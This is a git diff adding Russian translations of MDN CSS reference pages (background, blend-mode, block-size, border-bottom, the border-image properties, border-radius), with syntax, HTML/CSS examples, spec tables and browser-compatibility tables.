Смотри {{cssxref("background-clip")}}
+
<background-color>
+
Смотри {{cssxref("background-color")}}
+
<bg-image>
+
Смотри {{Cssxref("background-image")}}
+
<position>
+
Смотри {{cssxref("background-position")}}
+
<repeat-style>
+
Смотри {{cssxref("background-repeat")}}
+
<bg-size>
+
Смотри {{cssxref("background-size")}}. Это свойство должно быть указано после <position>, разделенного символом '/'.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

HTML

+ +
<p class="topbanner">
+  Starry sky<br/>
+  Twinkle twinkle<br/>
+  Starry sky
+</p>
+<p class="warning">Here is a paragraph<p>
+ +

CSS

+ +
.warning {
+  background: red;
+}
+
+.topbanner {
+  background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #00D repeat-y fixed;
+}
+
+ +

Результат

+ +

{{EmbedLiveSample("Примеры")}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Backgrounds', '#the-background', 'background')}}{{Spec2('CSS3 Backgrounds')}}Поддержка мультифонов и свойств {{cssxref("background-size")}}, {{cssxref("background-origin")}} и {{cssxref("background-clip")}}.
{{SpecName('CSS2.1', 'colors.html#propdef-background', 'background')}}{{Spec2('CSS2.1')}}Нет значительных изменений
{{SpecName('CSS1', '#background', 'background')}}{{Spec2('CSS1')}}Первоначальное определение
+ +

{cssinfo}}

+ +

Совместимость с браузерами

+ + + + + +

{{Compat("css.properties.background")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/blend-mode/index.html b/files/ru/web/css/blend-mode/index.html new file mode 100644 index 0000000000..382af5dae0 --- /dev/null +++ b/files/ru/web/css/blend-mode/index.html @@ -0,0 +1,411 @@ +--- +title: +slug: Web/CSS/blend-mode +translation_of: Web/CSS/blend-mode +--- +

{{CSSRef}}

+ +

Описание

+ +

The <blend-mode> type is a collection of keywords describing blend modes.

+ +

A blend mode is a method of calculating the final color value of a pixel when layers overlap. Each blend mode takes the color value of the foreground and the backdrop (top color and bottom color respectively), perfoms its calculation and returns a color value. The final, visible layer is the result of performing the blend mode calculation on every overlapping pixel among the blended layers.

+ +

Синтаксис

+ +
Формальный синтаксис: normal | multiply | screen | overlay | darken | lighten | color-dodge | color-burn | hard-light | soft-light | difference | exclusion | hue | saturation | color | luminosity
+ +

Возможные значения

+ +
+
normal
+
+

The final color is the top color, whatever the bottom color may be.
+ The effect is similar to two opaque pieces of paper overlapping.

+ +
+ + + +
+ +

{{ EmbedLiveSample('normal', "300", "300") }}

+
+
multiply
+
+

The final color is the result of multiplying the top and bottom colors.
+ A black layer leads to a black final layer, and a white layer leads to no change.
+ The effect is similar to two images printed on transparent film overlapping.

+ +
+ + + +
+ +

{{ EmbedLiveSample('multiply', "300", "300") }}

+
+
screen
+
+

The final color is the result of inverting the colors, multiplying them and inverting that color value.
+ A black layer leads to no change, and a white layer leads to a white final layer.
+ The effect is similar to two images shone onto a projection screen.

+ +
+ + + +
+ +

{{ EmbedLiveSample('screen', "300", "300") }}

+
+
overlay
+
The final color is the result of multiply if the bottom color is darker, or screen if the bottom color is lighter.
+ This blend mode is equivalent to hard-light but with the layers swapped. +
+ + + +
+ +

{{ EmbedLiveSample('overlay', "300", "300") }}

+
+
darken
+
+

The final color is a color composed of the darkest values per color channel.

+ +
+ + + +
+ +

{{ EmbedLiveSample('darken', "300", "300") }}

+
+
lighten
+
+

The final color is a color composed of the lightest values per color channel.

+ +
+ + + +
+ +

{{ EmbedLiveSample('lighten', "300", "300") }}

+
+
color-dodge
+
+

The final color is the result of dividing the bottom color by the inverse of the top color.
+ A black foreground leads to no change. A foreground with the inverse color of the backdrop leads to a fully lit color.
+ This blend mode is similar to screen, but the foreground need only be as light as the inverse of the backdrop to reach a fully lit color.

+ +
+ + + +
+ +

{{ EmbedLiveSample('color-dodge', "300", "300") }}

+
+
color-burn
+
+

This final color is the result of inverting the bottom color, dividing the value by the top color, and inverting that value.
+ A white foreground leads to no change. A foreground with the inverse color of the backdrop leads to a black final image.
+ This blend mode is similar to multiply, but the foreground need only be as dark as the inverse of the backdrop to make the final image black.

+ +
+ + + +
+ +

{{ EmbedLiveSample('color-burn', "300", "300") }}

+
+
hard-light
+
+

The final color is the result of multiply if the top color is darker, or screen if the top color is lighter.
+ This blend mode is equivalent to overlay but with the layers swapped.
+ The effect is similar to shining a harsh spotlight on the backdrop.

+ +
+ + + +
+ +

{{ EmbedLiveSample('hard-light', "300", "300") }}

+
+
soft-light
+
+

The final color is similar to hard-light, but softer.
+ This blend mode behaves similar to hard-light.
+ The effect is similar to shining a diffused spotlight on the backdrop.

+ +
+ + + +
+ +

{{ EmbedLiveSample('soft-light', "300", "300") }}

+
+
difference
+
+

The final color is the result of subtracting the darker of the two colors from the lighter one.
+ A black layer has no effect, while a white layer inverts the other layer's color.

+ +
+ + + +
+ +

{{ EmbedLiveSample('difference', "300", "300") }}

+
+
exclusion
+
+

The final color is similar to difference, but with less contrast.
+ As with difference,  a black layer has no effect, while a white layer inverts the other layer's color.

+ +
+ + + +
+ +

{{ EmbedLiveSample('exclusion', "300", "300") }}

+
+
hue
+
+

The final color has the hue of the top color, while using the saturation and luminosity of the bottom color.

+ +
+ + + +
+ +

{{ EmbedLiveSample('hue', "300", "300") }}

+
+
saturation
+
+

The final color has the saturation of the top color, while using the hue and luminosity of the bottom color.
+ A pure gray backdrop, having no saturation, will have no effect.

+ +
+ + + +
+ +

{{ EmbedLiveSample('saturation', "300", "300") }}

+
+
color
+
+

The final color has the hue and saturation of the top color, while using the luminosity of the bottom color.
+ The effect preserves gray levels and can be used to colorize the foreground.

+ +
+ + + +
+ +

{{ EmbedLiveSample('color', "300", "300") }}

+
+
luminosity
+
+

The final color has the luminosity of the top color, while using the hue and saturation of the bottom color.
+ This blend mode is equivalent to color, but with the layers swapped.

+ +
+ + + +
+ +

{{ EmbedLiveSample('luminosity', "300", "300") }}

+
+
+ +

Интерполяция режимов наложения

+ +
 
+ +

Changes between blends mode are not interpolated. Any change occurs abruptly.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('Compositing', '#ltblendmodegt', '<blend-mode>') }}{{ Spec2('Compositing') }}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка35{{compatVersionUnknown()}}{{compatUnknown()}}{{compatUnknown()}}{{compatUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{compatUnknown()}}{{compatUnknown()}}{{compatVersionUnknown()}}{{compatUnknown()}}{{compatUnknown()}}{{compatUnknown()}}
+
+ +

Смотрите также

+ +
    +
  • Properties using a value of this type: {{cssxref("background-blend-mode")}} and {{cssxref("mix-blend-mode")}}
    • +
  • Blend modes
    • +
  • CSS Reference index
    • +
diff --git a/files/ru/web/css/block-size/index.html b/files/ru/web/css/block-size/index.html new file mode 100644 index 0000000000..413705bb6d --- /dev/null +++ b/files/ru/web/css/block-size/index.html @@ -0,0 +1,104 @@ +--- +title: block-size +slug: Web/CSS/block-size +tags: + - CSS + - CSS Logical Property + - CSS Property + - Experimental + - Reference + - Справка + - Экспериментальный +translation_of: Web/CSS/block-size +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

Свойство block-size CSS задает горизонтальный и вертикальный размер блока элемента, в зависимости от режима его записи (writing mode). Оно соответствует свойствам {{cssxref("width")}} и {{cssxref("height")}} и зависит от значения свойства {{cssxref("writing-mode")}}.

+ +
/* <length> values */
+block-size: 300px;
+block-size: 25em;
+
+/* <percentage> values */
+block-size: 75%;
+
+/* Keyword values */
+block-size: 25em border-box;
+block-size: 75% content-box;
+block-size: max-content;
+block-size: min-content;
+block-size: available;
+block-size: fit-content;
+block-size: auto;
+
+/* Global values */
+block-size: inherit;
+block-size: initial;
+block-size: unset;
+
+ +

Если режим записи (writing mode) ориентирован по вертикали, то значение block-size относится к ширине элемента; в противном случае это относится к высоте элемента. С данным свойством связано свойство {{cssxref("inline-size")}}, которое задает другое измерение элемента.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +

Значения

+ +

Свойство block-size принимает те же значения, что и свойства {{cssxref("width")}}, {{cssxref("height")}}

+ +

Формальный синтаксис

+ +

+{{csssyntax}}
+ +

Пример

+ +

HTML

+ +

+<p class="exampleText">Example text</p>
+
+ +

CSS

+ +

+.exampleText {
+  writing-mode: vertical-rl;
+  background-color: yellow;
+  block-size: 200px;
+}
+ +

{{EmbedLiveSample("Example")}}

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Logical Properties", "#logical-dimension-properties", "block-size")}}{{Spec2("CSS Logical Properties")}}Initial definition
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.block-size")}}

+ +

Смотри также

+ +
    +
  • Отображаемые физические свойства: {{cssxref("width")}} and {{cssxref("height")}}
    • +
  • {{cssxref("writing-mode")}}
    • +
diff --git a/files/ru/web/css/border-bottom/index.html b/files/ru/web/css/border-bottom/index.html new file mode 100644 index 0000000000..e27f8f0fe8 --- /dev/null +++ b/files/ru/web/css/border-bottom/index.html @@ -0,0 +1,133 @@ +--- +title: border-bottom +slug: Web/CSS/border-bottom +translation_of: Web/CSS/border-bottom +--- +
{{CSSRef}}
+ +

Сокращённое свойство CSS border-bottom описывает нижнюю границу элемента border. Оно устанавливает значения {{cssxref("border-bottom-width")}}, {{cssxref("border-bottom-style")}} и {{cssxref("border-bottom-color")}}.

+ +
{{EmbedInteractiveExample("pages/css/border-bottom.html")}}
+ + + +

Как и все сокращённые свойства, border-bottom устанавливает значения всех свойств, которые он может установить, даже если они не указаны. Для тех свойств, которые не указаны оно устанавливает значения по умолчанию. Это означает, что ...

+ +
border-bottom-style: dotted;
+border-bottom: thick green;
+
+ +

... это то же самое, что ...

+ +
border-bottom-style: dotted;
+border-bottom: none thick green;
+
+ +

... и значение {{cssxref("border-bottom-style")}}, указанное перед border-bottom игнорируется. Поскольку значением по умолчанию для {{cssxref("border-bottom-style")}} является none, то без указания border-style граница не будет показана.

+ +

Constituent properties

+ +

This property is a shorthand for the following CSS properties:

+ + + +

Syntax

+ +
border-bottom: 1px;
+border-bottom: 2px dotted;
+border-bottom: medium dashed blue;
+
+ +

The three values of the shorthand property can be specified in any order, and one or two of them may be omitted.

+ +

Values

+ +
+
<br-width>
+
See {{cssxref("border-bottom-width")}}.
+
<br-style>
+
See {{cssxref("border-bottom-style")}}.
+
{{cssxref("<color>")}}
+
See {{cssxref("border-bottom-color")}}.
+
+ +

Formal definition

+ +

{{CSSInfo}}

+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Examples

+ +

Applying a bottom border

+ +

HTML

+ +
<div>
+  This box has a border on the bottom side.
+</div>
+ +

CSS

+ +
div {
+  border-bottom: 4px dashed blue;
+  background-color: gold;
+  height: 100px;
+  width: 100px;
+  font-weight: bold;
+  text-align: center;
+}
+
+ +

Results

+ +

{{EmbedLiveSample('Applying_a_bottom_border')}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#propdef-border-bottom', 'border-bottom')}}{{Spec2('CSS3 Backgrounds')}}No direct changes, though the modification of values for the {{cssxref("border-bottom-color")}} do apply to it.
{{SpecName('CSS2.1', 'box.html#propdef-border-bottom', 'border-bottom')}}{{Spec2('CSS2.1')}}No significant changes.
{{SpecName('CSS1', '#border-bottom', 'border-bottom')}}{{Spec2('CSS1')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("css.properties.border-bottom")}}

+ +

See also

+ + diff --git a/files/ru/web/css/border-image-outset/index.html b/files/ru/web/css/border-image-outset/index.html new file mode 100644 index 0000000000..7236c75c05 --- /dev/null +++ b/files/ru/web/css/border-image-outset/index.html @@ -0,0 +1,129 @@ +--- +title: border-image-outset +slug: Web/CSS/border-image-outset +translation_of: Web/CSS/border-image-outset +--- +
{{CSSRef}}
+ +

Описание

+ +

The border-image-outset property describes by what amount the border image area extends beyond the border box.

+ +

Portions of the border image that are rendered outside the border box as a result of this property do not cause scrolling to be triggered. These areas also don't capture or cause mouse events to occur on behalf of the bordered element.

+ +
{{cssinfo}}
+ +

Синтаксис

+ +
/* border-image-outset: sides */
+border-image-outset: 1.5;
+
+/* border-image-outset: vertical horizontal */
+border-image-outset: 1 1.2;
+
+/* border-image-outset: top horizontal bottom */
+border-image-outset: 30px 2 45px;
+
+/* border-image-outset: top right bottom left */
+border-image-outset: 7px 12px 14px 5px;
+
+border-image-repeat: inherit;
+
+ +

Значения

+ +
+

When a value is specified as a unitless {{cssxref("<number>")}}, that value is multiplied by the corresponding computed {{cssxref("border-width")}} to determine the border-image-outset. Negative values are invalid.

+
+ +
+
sides
+
Is a {{cssxref("<length>")}} or a {{cssxref("<number>")}} of the amount by which the border image area extends beyond the border box in all four directions.
+
horizontal
+
Is a {{cssxref("<length>")}} or a {{cssxref("<number>")}} of the amount by which the border image area extends beyond the border box in both horizontal directions (left and right).
+
vertical
+
Is a {{cssxref("<length>")}} or a {{cssxref("<number>")}} of the amount by which the border image area extends beyond the border box in both vertical directions (top and bottom).
+
top
+
Is a {{cssxref("<length>")}} or a {{cssxref("<number>")}} of the amount by which the border image area extends beyond the border box past its top edge.
+
bottom
+
Is a {{cssxref("<length>")}} or a {{cssxref("<number>")}} of the amount by which the border image area extends beyond the border box past its bottom edge.
+
right
+
Is a {{cssxref("<length>")}} or a {{cssxref("<number>")}} of the amount by which the border image area extends beyond the border box past its right edge.
+
left
+
Is a {{cssxref("<length>")}} or a {{cssxref("<number>")}} of the amount by which the border image area extends beyond the border box past its left edge.
+
inherit
+
Is a keyword indicating that all four values are inherited from each parent elements' calculated value.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Backgrounds', '#border-image-outset', 'border-image-outset')}}{{Spec2('CSS3 Backgrounds')}}Первоначальное определение
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка15.0{{CompatGeckoDesktop("15.0")}}11156
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatGeckoMobile("15.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ru/web/css/border-image-repeat/index.html b/files/ru/web/css/border-image-repeat/index.html new file mode 100644 index 0000000000..15afede5b9 --- /dev/null +++ b/files/ru/web/css/border-image-repeat/index.html @@ -0,0 +1,154 @@ +--- +title: border-image-repeat +slug: Web/CSS/border-image-repeat +translation_of: Web/CSS/border-image-repeat +--- +
{{CSSRef}}
+ +

Описание

+ +

The border-image-repeat CSS property defines how the middle part of a border image is handled so that it can match the size of the border. It has a one-value syntax that describes the behavior of all the sides, and a two-value syntax that sets a different value for the horizontal and vertical behavior.

+ +
{{cssinfo}}
+ +

Синтаксис

+ +
/* border-image-repeat: type */
+border-image-value: stretch;
+
+/* border-image-repeat: horizontal vertical */
+border-image-width: round stretch;
+
+/* Глобальные значения */
+border-image-repeat: inherit;
+border-image-repeat: initial;
+border-image-repeat: unset;
+
+ +

Значения

+ +
+
type
+
One of the stretch, repeat, or round keywords denoting how the image is treated both horizontally and vertically.
+
horizontal
+
One of the stretch, repeat, or round keywords denoting how the image is treated horizontally.
+
vertical
+
One of the stretch, repeat, or round keywords denoting how the image is treated vertically.
+
stretch
+
Keyword indicating that the image must be stretched to fill the gap between the two borders.
+
repeat
+
Keyword indicating that the image must be repeated until it fills the gap between the two borders.
+
round
+
Keyword indicating that the image must be repeated until it fills the gap between the two borders. If the image doesn't fit after being repeated for an integral number of times, the image is rescaled to fit.
+
space
+
The image is tiled (repeated) to fill the area. If it does not fill the area with a whole number of tiles, the extra space is distributed around the tiles.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

See {{cssxref("border-image")}} for examples of what repeat values will do.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Backgrounds', '#border-image-repeat', 'border-image-repeat')}}{{Spec2('CSS3 Backgrounds')}}Первоначальное определение
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка15.0{{CompatGeckoDesktop("15.0")}}11156[1]
space{{CompatNo}}[1]{{CompatNo}}[3]11{{CompatNo}}9.1[5]
round30[4]{{CompatGeckoDesktop("15.0")}}11{{CompatUnknown}}9.1[5]
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatGeckoMobile("15.0")}}{{CompatNo}}{{CompatUnknown}}9.3[5]
+
+ +

[1] Support the space value, but the actual effect is the same as the repeat value.

+ +

[2] Support the round value, but the actual effect is the same as the repeat value.

+ +

[3] См. {{bug(720531)}}.

+ +

[4] См. Chrome bug.

+ +

[5] См. WebKit bug.

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/border-image-slice/index.html b/files/ru/web/css/border-image-slice/index.html new file mode 100644 index 0000000000..db3140e5e5 --- /dev/null +++ b/files/ru/web/css/border-image-slice/index.html @@ -0,0 +1,140 @@ +--- +title: border-image-slice +slug: Web/CSS/border-image-slice +translation_of: Web/CSS/border-image-slice +--- +
{{CSSRef}}
+ +

Описание

+ +

CSS свойство border-image-slice  делит изображение указанное в {{cssxref("border-image-source")}} на девять областей: четыре угла, четыре края и середину. Это просходит путем указания 4 внутренних смещений.

+ +

The nine slices defined by the CSS border-image shorthand or border-image-slice longhand propertiesЧетыре значения управляют положением линий среза. If some are not specified, they are inferred from the other with the usual 4-value syntax of CSS.

+ +

The middle is not used by the border itself but is used as a background-image if the keyword fill is set. The keyword can be set at any position in the property (before, after or between the other values).

+ +

The {{cssxref("border-image-repeat")}}, {{cssxref("border-image-width")}}, {{cssxref("border-image-outset")}} properties define how these images will be used.

+ +

The shorthand CSS property {{cssxref("border-image")}} may reset this property to its default value.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* border-image-slice: slice */
+border-image-slice: 30%;
+
+/* border-image-slice: horizontal vertical */
+border-image-slice: 10% 30%;
+
+/* border-image-slice: top horizontal bottom */
+border-image-slice: 30 30% 45;
+
+/* border-image-slice: top right bottom left */
+border-image-slice: 7 12 14 5;
+
+/* border-image-slice: … fill */
+/* The fill value can be placed between any value */
+border-image-slice: 10% fill 7 12;
+
+/* Глобальные значения */
+border-image-slice: inherit;
+border-image-slice: initial;
+border-image-slice: unset;
+
+ +

Значения

+ +
+
slice
+
Is a {{cssxref("<number>")}} or a {{cssxref("<percentage>")}} of the offset for the four slicing lines. Note that a {{cssxref("<length>")}} value is not allowed, and therefore invalid. The {{cssxref("<number>")}} represents pixels for raster images and coordinates for vector images. Also, {{cssxref("<percentage>")}} values are relative to the height or width of the image, whichever is adequate. Negative values are invalid and values greater than the relevant size, height or width, are clamped to 100%.
+
horizontal
+
Is a {{cssxref("<number>")}} or a {{cssxref("<percentage>")}} of the offset for the two horizontal slicing lines, the top and the bottom ones. Note that a {{cssxref("<length>")}} value is not allowed, and therefore invalid. The {{cssxref("<number>")}} represents pixels for raster images and coordinates for vector images. Also, {{cssxref("<percentage>")}} values are relative to the height or width of the image, whichever is adequate. Negative values are invalid and values greater than the relevant size, height or width, are clamped to 100%.
+
vertical
+
Is a {{cssxref("<number>")}} or a {{cssxref("<percentage>")}} of the offset for the two vertical slicing lines, the right and the left ones. Note that a {{cssxref("<length>")}} value is not allowed, and therefore invalid. The {{cssxref("<number>")}} represents pixels for raster images and coordinates for vector images. Also, {{cssxref("<percentage>")}} values are relative to the height or width of the image, whichever is adequate. Negative values are invalid and values greater than the relevant size, height or width, are clamped to 100%.
+
top
+
Is a {{cssxref("<number>")}} or a {{cssxref("<percentage>")}} of the offset for the top slicing line. Note that a {{cssxref("<length>")}} value is not allowed, and therefore invalid. The {{cssxref("<number>")}} represents pixels for raster images and coordinates for vector images. Also, {{cssxref("<percentage>")}} values are relative to the height or width of the image, whichever is adequate. Negative values are invalid and values greater than the relevant size, height or width, are clamped to 100%.
+
bottom
+
Is a {{cssxref("<number>")}} or a {{cssxref("<percentage>")}} of the offset for the bottom slicing line. Note that a {{cssxref("<length>")}} value is not allowed, and therefore invalid. The {{cssxref("<number>")}} represents pixels for raster images and coordinates for vector images. Also, {{cssxref("<percentage>")}} values are relative to the height or width of the image, whichever is adequate. Negative values are invalid and values greater than the relevant size, height or width, are clamped to 100%.
+
right
+
Is a {{cssxref("<number>")}} or a {{cssxref("<percentage>")}} of the offset for the right slicing line. Note that a {{cssxref("<length>")}} value is not allowed, and therefore invalid. The {{cssxref("<number>")}} represents pixels for raster images and coordinates for vector images. Also, {{cssxref("<percentage>")}} values are relative to the height or width of the image, whichever is adequate. Negative values are invalid and values greater than the relevant size, height or width, are clamped to 100%.
+
left
+
Is a {{cssxref("<number>")}} or a {{cssxref("<percentage>")}} of the offset for the left slicing line. Note that a {{cssxref("<length>")}} value is not allowed, and therefore invalid. The {{cssxref("<number>")}} represents pixels for raster images and coordinates for vector images. Also, {{cssxref("<percentage>")}} values are relative to the height or width of the image, whichever is adequate. Negative values are invalid and values greater than the relevant size, height or width, are clamped to 100%.
+
fill
+
Is a keyword whose presence forces the use of the middle image slice to be displayed over the background image, its size and height are resized like those of the top and left image slices, respectively.
+
inherit
+
Is a keyword indicating that all four values are inherited from their parent's element calculated value.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Backgrounds', '#border-image-slice', 'border-image-slice')}}{{Spec2('CSS3 Backgrounds')}}Первоначальное определение
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка15.0{{CompatGeckoDesktop("15.0")}}11156
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка4.1{{property_prefix("-webkit")}}{{CompatGeckoMobile("15.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ru/web/css/border-image-source/index.html b/files/ru/web/css/border-image-source/index.html new file mode 100644 index 0000000000..11b6b980a4 --- /dev/null +++ b/files/ru/web/css/border-image-source/index.html @@ -0,0 +1,117 @@ +--- +title: border-image-source +slug: Web/CSS/border-image-source +translation_of: Web/CSS/border-image-source +--- +
{{CSSRef}}
+ +

Описание

+ +

The border-image-source CSS property defines the {{cssxref("<image>")}} to use instead of the style of the border. If this property is set to none, the style defined by {{cssxref("border-style")}} is used instead.

+ +
Предупреждение: Though any {{cssxref("<image>")}} can be used with this CSS property, browser support is still limited and some browsers support only images defined using the url() functional notation.
+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* no border-image, use the specified border-style */
+border-image-source: none;
+
+/* the image.jpg is used as image */
+border-image-source: url(image.jpg);
+
+/* a gradient is used as image */
+border-image-source: linear-gradient(to top, red, yellow);
+
+/* Global values */
+border-image-source: inherit;
+border-image-source: initial;
+border-image-source: unset;
+
+ +

Значения

+ +
+
none
+
Specifies that no image should be used for the border. Instead the style defined by {{cssxref("border-style")}} is used.
+
<image>
+
Ссылка на изображение, которое будет использоваться в отрисовке границы.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

See {{cssxref("border-image")}} for examples of what the various source values will do.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Backgrounds', '#border-image-source', 'border-image-source')}}{{Spec2('CSS3 Backgrounds')}}Initial definition
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка15.0{{CompatGeckoDesktop("15.0")}}11156
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatGeckoMobile("15.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ru/web/css/border-image-width/index.html b/files/ru/web/css/border-image-width/index.html new file mode 100644 index 0000000000..4f5afbb25d --- /dev/null +++ b/files/ru/web/css/border-image-width/index.html @@ -0,0 +1,168 @@ +--- +title: border-image-width +slug: Web/CSS/border-image-width +translation_of: Web/CSS/border-image-width +--- +
{{CSSRef}}
+ +

Описание

+ +

he border-image-width CSS property defines the width of the border image by defining inward offsets from the border edges. If the border-image-width is greater than the {{cssxref("border-width")}}, then the border image extends beyond the padding (and/or content) edge.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* border-image-width: all */
+border-image-width: 3;
+
+/* border-image-width: vertical horizontal */
+border-image-width: 2em 3em;
+
+/* border-image-width: top horizontal bottom */
+border-image-width: 5% 15% 10%;
+
+/* border-image-width: top right bottom left */
+border-image-width: 5% 2em 10% auto;
+
+/* Global values */
+border-image-width: inherit;
+border-image-width: initial;
+border-image-width: unset;
+
+ +

где:

+ +
+
width
+
Is a value denoting the width of the image used as a border to apply to all four edges. It is used only in the one-value syntax.
+
vertical
+
Is a value denoting the width of the image used as a border to apply to all vertical edges, that is the top and bottom edges. It is used only in the two-value syntax.
+
horizontal
+
Is a value denoting the width of the image used as a border to apply to all horizontal edges, that is the right and left edges. It is used only in the two- and three-value syntaxes.
+
top
+
Is a value denoting the width of the image used as a border to apply to the top edge. It is used only in the three- and four-value syntaxes.
+
bottom
+
Is a value denoting the width of the image used as a border to apply to the bottom edge. It is used only in the three- and four-value syntaxes.
+
right
+
Is a value denoting the width of the image used as a border to apply to the right edge. It is used only in the four-value syntax.
+
left
+
Is a value denoting the width of the image used as a border to apply to the left edge. It is used only in the four-value syntax.
+
inherit
+
Is a keyword indicating that all four values are inherited from their parent's element calculated value.
+
+ +

Значения

+ +
+
<length>
+
Represents the width of the border. It can be an absolute or relative length. This length must not be negative.
+
<percentage>
+
Represents the width of the border as a percentage of the element. The percentage must not be negative.
+
<number>
+
Represents a multiple of the computed value of the element's {{cssxref("border-width")}} property to be used as the border width. The number must not be negative.
+
auto
+
Causes the border image width to equal the intrinsic width or height (whichever is applicable) of the corresponding {{cssxref("border-image-slice")}}. If the image does not have the required intrinsic dimension then the corresponding computed border-width is used instead.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

HTML Content

+ +
<!DOCTYPE html>
+
+<html>
+   <head></head>
+   <body>
+      <p>Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
+      eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.
+      At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren,
+      no sea takimata sanctus est Lorem ipsum dolor sit amet.</p>
+   </body>
+</html>
+
+ +

CSS Content

+ +
p {
+   border-image-source: url("https://mdn.mozillademos.org/files/10470/border.png");
+   border-image-slice: 30;
+   border-image-width: 20px;
+   border-image-repeat: round;
+   padding: 40px;
+}
+ +

{{ EmbedLiveSample('Examples', '480', '320', '', 'Web/CSS/border-image-width') }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-image-width', 'border-image-width')}}{{Spec2('CSS3 Backgrounds')}}Initial definition
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support15.0{{CompatGeckoDesktop("13.0")}}11156
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("13.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ru/web/css/border-radius/index.html b/files/ru/web/css/border-radius/index.html new file mode 100644 index 0000000000..bcbec329aa --- /dev/null +++ b/files/ru/web/css/border-radius/index.html @@ -0,0 +1,216 @@ +--- +title: border-radius +slug: Web/CSS/border-radius +tags: + - CSS + - CSS свойство + - Скругление + - Углы +translation_of: Web/CSS/border-radius +--- +
{{CSSRef}}
+ +

border-radius — это CSS-свойство, позволяющее разработчикам определять, как скругляются границы блока. Закругленность каждого угла определяется с помощью одного или двух радиусов, определяя его форму: круг или эллипс.

+ +
{{EmbedInteractiveExample("pages/css/border-radius.html")}}
+ + + +

Это свойство является короткой записью для четырёх свойств {{Cssxref("border-top-left-radius")}}, {{Cssxref("border-top-right-radius")}}, {{Cssxref("border-bottom-right-radius")}} и{{Cssxref("border-bottom-left-radius")}}.

+ +

Скругление применяется ко всему {{Cssxref ("background")}}, даже если элемент не имеет границ, точное положение отсечения определяется свойством {{Cssxref ("background-clip")}}.

